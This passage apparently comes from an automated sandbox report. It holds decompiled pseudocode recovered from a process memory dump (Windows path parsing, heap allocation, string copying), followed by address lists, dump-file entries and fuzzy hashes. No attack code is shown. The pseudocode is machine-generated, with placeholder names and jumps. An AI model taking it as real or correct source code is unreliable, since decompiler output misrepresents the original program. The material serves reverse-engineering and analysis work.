                                      														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
                                      														_t458 = 0xb;
                                      														 *((short*)(_t479 + _t427 + 2)) = _t458;
                                      														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
                                      														 *((short*)(_t427 + 4 + _t479)) = 0;
                                      														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
                                      														E036AFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
                                      														_t529 = _t529 + 0xc;
                                      														 *(_t427 + 4) =  *(_t427 + 4) | 1;
                                      														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
                                      														 *(_t528 - 0x78) = _t479;
                                      														__eflags = _t505;
                                      														if(_t505 != 0) {
                                      															_t241 = _t505 + 4;
                                      															 *_t241 =  *(_t505 + 4) | 1;
                                      															__eflags =  *_t241;
                                      														}
                                      													}
                                      													_t328 =  *(_t528 + 0x1c);
                                      													__eflags = _t328;
                                      													if(_t328 == 0) {
                                      														L87:
                                      														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
                                      														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
                                      														_t455 =  *(_t528 - 0xdc);
                                      														 *(_t427 + 0x14) = _t455;
                                      														_t480 =  *(_t528 - 0xa0);
                                      														_t517 = 3;
                                      														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
                                      														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
                                      															asm("rdtsc");
                                      															 *(_t427 + 0x3c) = _t480;
                                      														} else {
                                      															 *(_t427 + 0x3c) = _t455;
                                      														}
                                      														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
                                      														_t456 =  *[fs:0x18];
                                      														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
                                      														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
                                      														_t427 = 0;
                                      														__eflags = 0;
                                      														_t511 = 0x18;
                                      														goto L91;
                                      													} else {
                                      														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
                                      														__eflags = _t519;
                                      														 *(_t528 - 0x8c) = _t328;
                                      														do {
                                      															_t506 =  *((intOrPtr*)(_t519 - 4));
                                      															_t457 =  *((intOrPtr*)(_t519 - 0xc));
                                      															 *(_t528 - 0xd4) =  *(_t519 - 8);
                                      															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
                                      															__eflags =  *(_t333 + 0x36) & 0x00004000;
                                      															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
                                      																_t334 =  *_t519;
                                      															} else {
                                      																_t334 = 0;
                                      															}
                                      															_t336 = _t334 & 0x000000ff;
                                      															__eflags = _t336;
                                      															_t427 =  *(_t528 - 0x88);
                                      															if(_t336 == 0) {
                                      																_t481 = _t479 + _t506;
                                      																__eflags = _t481;
                                      																 *(_t528 - 0x78) = _t481;
                                      																E036AF3E0(_t479 + _t427, _t457, _t506);
                                      																_t529 = _t529 + 0xc;
                                      															} else {
                                      																_t340 = _t336 - 1;
                                      																__eflags = _t340;
                                      																if(_t340 == 0) {
                                      																	E036AF3E0( *(_t528 - 0xb8), _t457, _t506);
                                      																	_t529 = _t529 + 0xc;
                                      																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
                                      																} else {
                                      																	__eflags = _t340 == 0;
                                      																	if(_t340 == 0) {
                                      																		__eflags = _t506 - 8;
                                      																		if(_t506 == 8) {
                                      																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
                                      																			 *(_t528 - 0xdc) =  *(_t457 + 4);
                                      																		}
                                      																	}
                                      																}
                                      															}
                                      															_t339 = 0x10;
                                      															_t519 = _t519 + _t339;
                                      															_t263 = _t528 - 0x8c;
                                      															 *_t263 =  *(_t528 - 0x8c) - 1;
                                      															__eflags =  *_t263;
                                      															_t479 =  *(_t528 - 0x78);
                                      														} while ( *_t263 != 0);
                                      														goto L87;
                                      													}
                                      												}
                                      											} else {
                                      												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
                                      												 *(_t528 - 0xa2) = _t392;
                                      												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
                                      												__eflags = _t469;
                                      												while(1) {
                                      													 *(_t528 - 0xe4) = _t511;
                                      													__eflags = _t392;
                                      													_t393 = _t427;
                                      													if(_t392 != 0) {
                                      														_t393 =  *((intOrPtr*)(_t469 + 4));
                                      													}
                                      													_t395 = (_t393 & 0x000000ff) - _t427;
                                      													__eflags = _t395;
                                      													if(_t395 == 0) {
                                      														_t511 = _t511 +  *_t469;
                                      														__eflags = _t511;
                                      													} else {
                                      														_t398 = _t395 - 1;
                                      														__eflags = _t398;
                                      														if(_t398 == 0) {
                                      															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
                                      															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
                                      														} else {
                                      															__eflags = _t398 == 1;
                                      															if(_t398 == 1) {
                                      																 *(_t528 - 0xa8) =  *(_t469 - 8);
                                      																_t402 =  *_t469 & 0x0000ffff;
                                      																 *(_t528 - 0xac) = _t402;
                                      																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
                                      															}
                                      														}
                                      													}
                                      													__eflags = _t511 -  *(_t528 - 0xe4);
                                      													if(_t511 <  *(_t528 - 0xe4)) {
                                      														break;
                                      													}
                                      													_t397 =  *(_t528 - 0x88) + 1;
                                      													 *(_t528 - 0x88) = _t397;
                                      													_t469 = _t469 + 0x10;
                                      													__eflags = _t397 -  *(_t528 + 0x1c);
                                      													_t392 =  *(_t528 - 0xa2);
                                      													if(_t397 <  *(_t528 + 0x1c)) {
                                      														continue;
                                      													}
                                      													goto L45;
                                      												}
                                      												_t475 = 0x216;
                                      												 *(_t528 - 0x74) = 0x216;
                                      												goto L45;
                                      											}
                                      										} else {
                                      											asm("lock dec dword [eax+ecx*8+0x4]");
                                      											goto L16;
                                      										}
                                      									}
                                      									_t491 = E03734CAB(_t306, _t528 - 0xa4);
                                      									 *(_t528 - 0x74) = _t491;
                                      									__eflags = _t491;
                                      									if(_t491 != 0) {
                                      										goto L91;
                                      									} else {
                                      										_t474 =  *((intOrPtr*)(_t528 - 0x94));
                                      										goto L20;
                                      									}
                                      								}
                                      								L16:
                                      								 *(_t528 - 0x74) = 0x1069;
                                      								L93:
                                      								_t298 =  *(_t528 - 0xd0) + 1;
                                      								 *(_t528 - 0xd0) = _t298;
                                      								_t474 = _t474 + _t511;
                                      								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
                                      								_t494 = 4;
                                      								__eflags = _t298 - _t494;
                                      								if(_t298 >= _t494) {
                                      									goto L100;
                                      								}
                                      								_t494 =  *(_t528 - 0xcc);
                                      								_t435 = _t298;
                                      								continue;
                                      							}
                                      							__eflags = _t494[2] | _t494[3];
                                      							if((_t494[2] | _t494[3]) == 0) {
                                      								goto L15;
                                      							}
                                      							goto L12;
                                      						}
                                      						__eflags = _t301;
                                      						if(_t301 != 0) {
                                      							goto L92;
                                      						}
                                      						goto L10;
                                      						L92:
                                      						goto L93;
                                      					}
                                      				} else {
                                      					_push(0x57);
                                      					L101:
                                      					return E036BD130(_t427, _t494, _t511);
                                      				}
                                      			}










































































                                      0x03735ba5
                                      0x03735baa
                                      0x03735baf
                                      0x03735bb4
                                      0x03735bb6
                                      0x03735bbc
                                      0x03735bbe
                                      0x03735bc4
                                      0x03735bcd
                                      0x03735bd3
                                      0x03735bd6
                                      0x03735bdc
                                      0x03735be0
                                      0x03735be3
                                      0x03735beb
                                      0x03735bf2
                                      0x03735bf8
                                      0x03735bfe
                                      0x03735c04
                                      0x03735c0e
                                      0x03735c18
                                      0x03735c1f
                                      0x03735c25
                                      0x03735c2a
                                      0x03735c2c
                                      0x03735c32
                                      0x03735c3a
                                      0x03735c3f
                                      0x03735c42
                                      0x03735c48
                                      0x03735c5b
                                      0x03735c5b
                                      0x03735c2c
                                      0x03735cb7
                                      0x03735cb9
                                      0x03735cbf
                                      0x03735cc2
                                      0x03735cca
                                      0x03735ccb
                                      0x03735ccb
                                      0x03735cd1
                                      0x03735cd7
                                      0x03735cda
                                      0x03735ce1
                                      0x03735ce4
                                      0x03735ce7
                                      0x03735ced
                                      0x03735cf3
                                      0x03735cf9
                                      0x03735cff
                                      0x03735d08
                                      0x03735d0a
                                      0x03735d0e
                                      0x03735d10
                                      0x00000000
                                      0x00000000
                                      0x03735d16
                                      0x03735d1a
                                      0x00000000
                                      0x00000000
                                      0x03735d20
                                      0x03735d22
                                      0x03735d25
                                      0x03735d2f
                                      0x03735d2f
                                      0x03735d33
                                      0x03735d3d
                                      0x03735d49
                                      0x03735d4b
                                      0x00000000
                                      0x00000000
                                      0x03735d5a
                                      0x03735d5d
                                      0x03735d60
                                      0x00000000
                                      0x00000000
                                      0x03735d66
                                      0x03735d69
                                      0x00000000
                                      0x00000000
                                      0x03735d6f
                                      0x03735d6f
                                      0x03735d73
                                      0x03735d79
                                      0x03735d7f
                                      0x03735d86
                                      0x03735d95
                                      0x03735d98
                                      0x03735dba
                                      0x03735dcb
                                      0x03735dce
                                      0x03735dd3
                                      0x03735dd6
                                      0x03735dd8
                                      0x03735de6
                                      0x03735dec
                                      0x03735dee
                                      0x03735df1
                                      0x03735df3
                                      0x0373635a
                                      0x0373635a
                                      0x00000000
                                      0x0373635a
                                      0x03735dfe
                                      0x03735e02
                                      0x03735e05
                                      0x03735e07
                                      0x03735e10
                                      0x03735e13
                                      0x03735e1b
                                      0x03735e1c
                                      0x03735e21
                                      0x03735e22
                                      0x03735e23
                                      0x03735e25
                                      0x03735e2a
                                      0x03735e2c
                                      0x03735e2e
                                      0x03735e36
                                      0x03735e39
                                      0x03735e42
                                      0x03735e47
                                      0x03735e4d
                                      0x03735e54
                                      0x03735e54
                                      0x03735e54
                                      0x03735e2e
                                      0x03735e5c
                                      0x03735e5f
                                      0x03735e62
                                      0x03735e64
                                      0x03735e6b
                                      0x03735e70
                                      0x03735e7a
                                      0x03735e7a
                                      0x03735e7a
                                      0x03735e6b
                                      0x03735e7e
                                      0x03735e7f
                                      0x03735e7f
                                      0x03735e81
                                      0x03735e87
                                      0x03735e8b
                                      0x03735e8c
                                      0x03735e8c
                                      0x03735e8c
                                      0x03735e9a
                                      0x03735e9c
                                      0x03735ea2
                                      0x03735ea6
                                      0x03735f50
                                      0x03735f50
                                      0x03735f57
                                      0x03735f66
                                      0x03735f66
                                      0x03735f66
                                      0x03735f68
                                      0x03735f6a
                                      0x037363d0
                                      0x00000000
                                      0x03735f70
                                      0x03735f70
                                      0x03735f91
                                      0x03735f9c
                                      0x03735f9e
                                      0x03735fa4
                                      0x03735fa6
                                      0x0373638c
                                      0x03736392
                                      0x037363a1
                                      0x037363a7
                                      0x037363af
                                      0x037363af
                                      0x037363bd
                                      0x037363d8
                                      0x00000000
                                      0x037363d8
                                      0x03735fac
                                      0x03735fb2
                                      0x03735fb4
                                      0x03735fbd
                                      0x03735fc6
                                      0x03735fce
                                      0x03735fd4
                                      0x03735fdc
                                      0x03735fec
                                      0x03735fed
                                      0x03735fee
                                      0x03735fef
                                      0x03735ff9
                                      0x03735ffa
                                      0x03735ffb
                                      0x03735ffc
                                      0x03736000
                                      0x03736004
                                      0x03736012
                                      0x03736012
                                      0x03736018
                                      0x03736019
                                      0x0373601a
                                      0x0373601b
                                      0x0373601c
                                      0x03736020
                                      0x03736059
                                      0x0373605c
                                      0x03736061
                                      0x03736061
                                      0x03736022
                                      0x03736022
                                      0x03736022
                                      0x03736025
                                      0x0373602a
                                      0x0373602b
                                      0x03736031
                                      0x03736037
                                      0x03736038
                                      0x0373603e
                                      0x03736048
                                      0x03736049
                                      0x0373604a
                                      0x0373604b
                                      0x0373604c
                                      0x0373604d
                                      0x03736053
                                      0x03736054
                                      0x03736054
                                      0x03736062
                                      0x03736065
                                      0x03736067
                                      0x0373606a
                                      0x03736070
                                      0x03736075
                                      0x03736076
                                      0x03736081
                                      0x03736087
                                      0x03736095
                                      0x03736099
                                      0x0373609e
                                      0x037360a4
                                      0x037360ae
                                      0x037360b0
                                      0x037360b3
                                      0x037360b6
                                      0x037360b8
                                      0x037360ba
                                      0x037360ba
                                      0x037360ba
                                      0x037360ba
                                      0x037360be
                                      0x037360c0
                                      0x037360c5
                                      0x037360c5
                                      0x037360c5
                                      0x037360c6
                                      0x037360cd
                                      0x03736114
                                      0x037360cf
                                      0x037360cf
                                      0x037360d4
                                      0x037360d5
                                      0x037360da
                                      0x037360db
                                      0x037360e1
                                      0x037360e2
                                      0x037360e8
                                      0x037360f8
                                      0x037360fd
                                      0x037360fe
                                      0x03736102
                                      0x03736104
                                      0x03736107
                                      0x03736109
                                      0x0373610b
                                      0x0373610b
                                      0x0373610b
                                      0x0373610b
                                      0x0373610f
                                      0x0373610f
                                      0x03736117
                                      0x0373611a
                                      0x0373611f
                                      0x03736125
                                      0x03736134
                                      0x03736139
                                      0x0373613f
                                      0x03736146
                                      0x03736148
                                      0x0373614b
                                      0x0373614d
                                      0x0373614f
                                      0x0373614f
                                      0x0373614f
                                      0x0373614f
                                      0x03736153
                                      0x03736159
                                      0x03736159
                                      0x0373615c
                                      0x03736163
                                      0x03736169
                                      0x0373616c
                                      0x03736172
                                      0x03736181
                                      0x03736186
                                      0x03736187
                                      0x0373618b
                                      0x03736191
                                      0x03736195
                                      0x037361a3
                                      0x037361bb
                                      0x037361c0
                                      0x037361c3
                                      0x037361cc
                                      0x037361d0
                                      0x037361dc
                                      0x037361de
                                      0x037361e1
                                      0x037361e4
                                      0x037361e6
                                      0x037361e8
                                      0x037361e8
                                      0x037361e8
                                      0x037361e8
                                      0x037361e6
                                      0x037361ec
                                      0x037361f3
                                      0x03736203
                                      0x03736209
                                      0x0373620a
                                      0x03736216
                                      0x0373621d
                                      0x03736227
                                      0x03736241
                                      0x03736246
                                      0x0373624c
                                      0x03736257
                                      0x03736259
                                      0x0373625c
                                      0x0373625e
                                      0x03736260
                                      0x03736260
                                      0x03736260
                                      0x03736260
                                      0x0373625e
                                      0x03736264
                                      0x03736267
                                      0x03736269
                                      0x03736315
                                      0x03736315
                                      0x0373631b
                                      0x0373631e
                                      0x03736324
                                      0x03736327
                                      0x0373632f
                                      0x03736330
                                      0x03736333
                                      0x0373633a
                                      0x0373633c
                                      0x03736335
                                      0x03736335
                                      0x03736335
                                      0x0373633f
                                      0x03736342
                                      0x0373634c
                                      0x03736352
                                      0x03736355
                                      0x03736355
                                      0x03736359
                                      0x00000000
                                      0x0373626f
                                      0x03736275
                                      0x03736275
                                      0x03736278
                                      0x0373627e
                                      0x0373627e
                                      0x03736281
                                      0x03736287
                                      0x0373628d
                                      0x03736298
                                      0x0373629c
                                      0x037362a2
                                      0x0373629e
                                      0x0373629e
                                      0x0373629e
                                      0x037362a7
                                      0x037362a7
                                      0x037362aa
                                      0x037362b0
                                      0x037362f0
                                      0x037362f0
                                      0x037362f2
                                      0x037362f8
                                      0x037362fd
                                      0x037362b2
                                      0x037362b2
                                      0x037362b2
                                      0x037362b5
                                      0x037362dd
                                      0x037362e2
                                      0x037362e5
                                      0x037362b7
                                      0x037362b8
                                      0x037362bb
                                      0x037362bd
                                      0x037362c0
                                      0x037362c4
                                      0x037362cd
                                      0x037362cd
                                      0x037362c0
                                      0x037362bb
                                      0x037362b5
                                      0x03736302
                                      0x03736303
                                      0x03736305
                                      0x03736305
                                      0x03736305
                                      0x0373630c
                                      0x0373630c
                                      0x00000000
                                      0x0373627e
                                      0x03736269
                                      0x03735eac
                                      0x03735ebb
                                      0x03735ebe
                                      0x03735ecb
                                      0x03735ecb
                                      0x03735ece
                                      0x03735ece
                                      0x03735ed4
                                      0x03735ed7
                                      0x03735ed9
                                      0x03735edb
                                      0x03735edb
                                      0x03735ee1
                                      0x03735ee1
                                      0x03735ee3
                                      0x03735f20
                                      0x03735f20
                                      0x03735ee5
                                      0x03735ee5
                                      0x03735ee5
                                      0x03735ee8
                                      0x03735f11
                                      0x03735f18
                                      0x03735eea
                                      0x03735eea
                                      0x03735eed
                                      0x03735ef2
                                      0x03735ef8
                                      0x03735efb
                                      0x03735f0a
                                      0x03735f0a
                                      0x03735eed
                                      0x03735ee8
                                      0x03735f22
                                      0x03735f28
                                      0x00000000
                                      0x00000000
                                      0x03735f30
                                      0x03735f31
                                      0x03735f37
                                      0x03735f3a
                                      0x03735f3d
                                      0x03735f44
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03735f46
                                      0x03735f48
                                      0x03735f4d
                                      0x00000000
                                      0x03735f4d
                                      0x03735dda
                                      0x03735ddf
                                      0x00000000
                                      0x03735ddf
                                      0x03735dd8
                                      0x03735da7
                                      0x03735da9
                                      0x03735dac
                                      0x03735dae
                                      0x00000000
                                      0x03735db4
                                      0x03735db4
                                      0x00000000
                                      0x03735db4
                                      0x03735dae
                                      0x03735d88
                                      0x03735d8d
                                      0x03736363
                                      0x03736369
                                      0x0373636a
                                      0x03736370
                                      0x03736372
                                      0x0373637a
                                      0x0373637b
                                      0x0373637d
                                      0x00000000
                                      0x00000000
                                      0x0373637f
                                      0x03736385
                                      0x00000000
                                      0x03736385
                                      0x03735d38
                                      0x03735d3b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03735d3b
                                      0x03735d27
                                      0x03735d29
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03736360
                                      0x00000000
                                      0x03736360
                                      0x03735c10
                                      0x03735c10
                                      0x037363da
                                      0x037363e5
                                      0x037363e5

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3fdd8e127b88ec36876d9096e4cba415a33afb81fc493e7444a1b431ba0bafa1
                                      • Instruction ID: e754f50946617fd038f671064b66846312a5e900164b4578dcc1b9113cd1fac0
                                      • Opcode Fuzzy Hash: 3fdd8e127b88ec36876d9096e4cba415a33afb81fc493e7444a1b431ba0bafa1
                                      • Instruction Fuzzy Hash: C3427975900229DFDB24CF68C880BA9F7B1FF4A314F1881AAD84DAB242D7749A85CF51
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 92%
                                      			E03684120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
                                      				signed int _v8;
                                      				void* _v20;
                                      				signed int _v24;
                                      				char _v532;
                                      				char _v540;
                                      				signed short _v544;
                                      				signed int _v548;
                                      				signed short* _v552;
                                      				signed short _v556;
                                      				signed short* _v560;
                                      				signed short* _v564;
                                      				signed short* _v568;
                                      				void* _v570;
                                      				signed short* _v572;
                                      				signed short _v576;
                                      				signed int _v580;
                                      				char _v581;
                                      				void* _v584;
                                      				unsigned int _v588;
                                      				signed short* _v592;
                                      				void* _v597;
                                      				void* _v600;
                                      				void* _v604;
                                      				void* _v609;
                                      				void* _v616;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				unsigned int _t161;
                                      				signed int _t162;
                                      				unsigned int _t163;
                                      				void* _t169;
                                      				signed short _t173;
                                      				signed short _t177;
                                      				signed short _t181;
                                      				unsigned int _t182;
                                      				signed int _t185;
                                      				signed int _t213;
                                      				signed int _t225;
                                      				short _t233;
                                      				signed char _t234;
                                      				signed int _t242;
                                      				signed int _t243;
                                      				signed int _t244;
                                      				signed int _t245;
                                      				signed int _t250;
                                      				void* _t251;
                                      				signed short* _t254;
                                      				void* _t255;
                                      				signed int _t256;
                                      				void* _t257;
                                      				signed short* _t260;
                                      				signed short _t265;
                                      				signed short* _t269;
                                      				signed short _t271;
                                      				signed short** _t272;
                                      				signed short* _t275;
                                      				signed short _t282;
                                      				signed short _t283;
                                      				signed short _t290;
                                      				signed short _t299;
                                      				signed short _t307;
                                      				signed int _t308;
                                      				signed short _t311;
                                      				signed short* _t315;
                                      				signed short _t316;
                                      				void* _t317;
                                      				void* _t319;
                                      				signed short* _t321;
                                      				void* _t322;
                                      				void* _t323;
                                      				unsigned int _t324;
                                      				signed int _t325;
                                      				void* _t326;
                                      				signed int _t327;
                                      				signed int _t329;
                                      
                                      				_t329 = (_t327 & 0xfffffff8) - 0x24c;
                                      				_v8 =  *0x375d360 ^ _t329;
                                      				_t157 = _a8;
                                      				_t321 = _a4;
                                      				_t315 = __edx;
                                      				_v548 = __ecx;
                                      				_t305 = _a20;
                                      				_v560 = _a12;
                                      				_t260 = _a16;
                                      				_v564 = __edx;
                                      				_v580 = _a8;
                                      				_v572 = _t260;
                                      				_v544 = _a20;
                                      				if( *__edx <= 8) {
                                      					L3:
                                      					if(_t260 != 0) {
                                      						 *_t260 = 0;
                                      					}
                                      					_t254 =  &_v532;
                                      					_v588 = 0x208;
                                      					if((_v548 & 0x00000001) != 0) {
                                      						_v556 =  *_t315;
                                      						_v552 = _t315[2];
                                      						_t161 = E0369F232( &_v556);
                                      						_t316 = _v556;
                                      						_v540 = _t161;
                                      						goto L17;
                                      					} else {
                                      						_t306 = 0x208;
                                      						_t298 = _t315;
                                      						_t316 = E03686E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
                                      						if(_t316 == 0) {
                                      							L68:
                                      							_t322 = 0xc0000033;
                                      							goto L39;
                                      						} else {
                                      							while(_v581 == 0) {
                                      								_t233 = _v588;
                                      								if(_t316 > _t233) {
                                      									_t234 = _v548;
                                      									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
                                      										_t254 = L03684620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
                                      										if(_t254 == 0) {
                                      											_t169 = 0xc0000017;
                                      										} else {
                                      											_t298 = _v564;
                                      											_v588 = _t316;
                                      											_t306 = _t316;
                                      											_t316 = E03686E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
                                      											if(_t316 != 0) {
                                      												continue;
                                      											} else {
                                      												goto L68;
                                      											}
                                      										}
                                      									} else {
                                      										goto L90;
                                      									}
                                      								} else {
                                      									_v556 = _t316;
                                      									 *((short*)(_t329 + 0x32)) = _t233;
                                      									_v552 = _t254;
                                      									if(_t316 < 2) {
                                      										L11:
                                      										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
                                      											_t161 = 5;
                                      										} else {
                                      											if(_t316 < 6) {
                                      												L87:
                                      												_t161 = 3;
                                      											} else {
                                      												_t242 = _t254[2] & 0x0000ffff;
                                      												if(_t242 != 0x5c) {
                                      													if(_t242 == 0x2f) {
                                      														goto L16;
                                      													} else {
                                      														goto L87;
                                      													}
                                      													goto L101;
                                      												} else {
                                      													L16:
                                      													_t161 = 2;
                                      												}
                                      											}
                                      										}
                                      									} else {
                                      										_t243 =  *_t254 & 0x0000ffff;
                                      										if(_t243 == 0x5c || _t243 == 0x2f) {
                                      											if(_t316 < 4) {
                                      												L81:
                                      												_t161 = 4;
                                      												goto L17;
                                      											} else {
                                      												_t244 = _t254[1] & 0x0000ffff;
                                      												if(_t244 != 0x5c) {
                                      													if(_t244 == 0x2f) {
                                      														goto L60;
                                      													} else {
                                      														goto L81;
                                      													}
                                      												} else {
                                      													L60:
                                      													if(_t316 < 6) {
                                      														L83:
                                      														_t161 = 1;
                                      														goto L17;
                                      													} else {
                                      														_t245 = _t254[2] & 0x0000ffff;
                                      														if(_t245 != 0x2e) {
                                      															if(_t245 == 0x3f) {
                                      																goto L62;
                                      															} else {
                                      																goto L83;
                                      															}
                                      														} else {
                                      															L62:
                                      															if(_t316 < 8) {
                                      																L85:
                                      																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
                                      																goto L17;
                                      															} else {
                                      																_t250 = _t254[3] & 0x0000ffff;
                                      																if(_t250 != 0x5c) {
                                      																	if(_t250 == 0x2f) {
                                      																		goto L64;
                                      																	} else {
                                      																		goto L85;
                                      																	}
                                      																} else {
                                      																	L64:
                                      																	_t161 = 6;
                                      																	goto L17;
                                      																}
                                      															}
                                      														}
                                      													}
                                      												}
                                      											}
                                      											goto L101;
                                      										} else {
                                      											goto L11;
                                      										}
                                      									}
                                      									L17:
                                      									if(_t161 != 2) {
                                      										_t162 = _t161 - 1;
                                      										if(_t162 > 5) {
                                      											goto L18;
                                      										} else {
                                      											switch( *((intOrPtr*)(_t162 * 4 +  &M036845F8))) {
                                      												case 0:
                                      													_v568 = 0x3641078;
                                      													__eax = 2;
                                      													goto L20;
                                      												case 1:
                                      													goto L18;
                                      												case 2:
                                      													_t163 = 4;
                                      													goto L19;
                                      											}
                                      										}
                                      										goto L41;
                                      									} else {
                                      										L18:
                                      										_t163 = 0;
                                      										L19:
                                      										_v568 = 0x36411c4;
                                      									}
                                      									L20:
                                      									_v588 = _t163;
                                      									_v564 = _t163 + _t163;
                                      									_t306 =  *_v568 & 0x0000ffff;
                                      									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
                                      									_v576 = _t265;
                                      									if(_t265 > 0xfffe) {
                                      										L90:
                                      										_t322 = 0xc0000106;
                                      									} else {
                                      										if(_t321 != 0) {
                                      											if(_t265 > (_t321[1] & 0x0000ffff)) {
                                      												if(_v580 != 0) {
                                      													goto L23;
                                      												} else {
                                      													_t322 = 0xc0000106;
                                      													goto L39;
                                      												}
                                      											} else {
                                      												_t177 = _t306;
                                      												goto L25;
                                      											}
                                      											goto L101;
                                      										} else {
                                      											if(_v580 == _t321) {
                                      												_t322 = 0xc000000d;
                                      											} else {
                                      												L23:
                                      												_t173 = L03684620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
                                      												_t269 = _v592;
                                      												_t269[2] = _t173;
                                      												if(_t173 == 0) {
                                      													_t322 = 0xc0000017;
                                      												} else {
                                      													_t316 = _v556;
                                      													 *_t269 = 0;
                                      													_t321 = _t269;
                                      													_t269[1] = _v576;
                                      													_t177 =  *_v568 & 0x0000ffff;
                                      													L25:
                                      													_v580 = _t177;
                                      													if(_t177 == 0) {
                                      														L29:
                                      														_t307 =  *_t321 & 0x0000ffff;
                                      													} else {
                                      														_t290 =  *_t321 & 0x0000ffff;
                                      														_v576 = _t290;
                                      														_t310 = _t177 & 0x0000ffff;
                                      														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
                                      															_t307 =  *_t321 & 0xffff;
                                      														} else {
                                      															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
                                      															E036AF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
                                      															_t329 = _t329 + 0xc;
                                      															_t311 = _v580;
                                      															_t225 =  *_t321 + _t311 & 0x0000ffff;
                                      															 *_t321 = _t225;
                                      															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
                                      																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
                                      															}
                                      															goto L29;
                                      														}
                                      													}
                                      													_t271 = _v556 - _v588 + _v588;
                                      													_v580 = _t307;
                                      													_v576 = _t271;
                                      													if(_t271 != 0) {
                                      														_t308 = _t271 & 0x0000ffff;
                                      														_v588 = _t308;
                                      														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
                                      															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
                                      															E036AF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
                                      															_t329 = _t329 + 0xc;
                                      															_t213 =  *_t321 + _v576 & 0x0000ffff;
                                      															 *_t321 = _t213;
                                      															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
                                      																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
                                      															}
                                      														}
                                      													}
                                      													_t272 = _v560;
                                      													if(_t272 != 0) {
                                      														 *_t272 = _t321;
                                      													}
                                      													_t306 = 0;
                                      													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
                                      													_t275 = _v572;
                                      													if(_t275 != 0) {
                                      														_t306 =  *_t275;
                                      														if(_t306 != 0) {
                                      															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
                                      														}
                                      													}
                                      													_t181 = _v544;
                                      													if(_t181 != 0) {
                                      														 *_t181 = 0;
                                      														 *((intOrPtr*)(_t181 + 4)) = 0;
                                      														 *((intOrPtr*)(_t181 + 8)) = 0;
                                      														 *((intOrPtr*)(_t181 + 0xc)) = 0;
                                      														if(_v540 == 5) {
                                      															_t182 = E036652A5(1);
                                      															_v588 = _t182;
                                      															if(_t182 == 0) {
                                      																E0367EB70(1, 0x37579a0);
                                      																goto L38;
                                      															} else {
                                      																_v560 = _t182 + 0xc;
                                      																_t185 = E0367AA20( &_v556, _t182 + 0xc,  &_v556, 1);
                                      																if(_t185 == 0) {
                                      																	_t324 = _v588;
                                      																	goto L97;
                                      																} else {
                                      																	_t306 = _v544;
                                      																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
                                      																	 *(_t306 + 4) = _t282;
                                      																	_v576 = _t282;
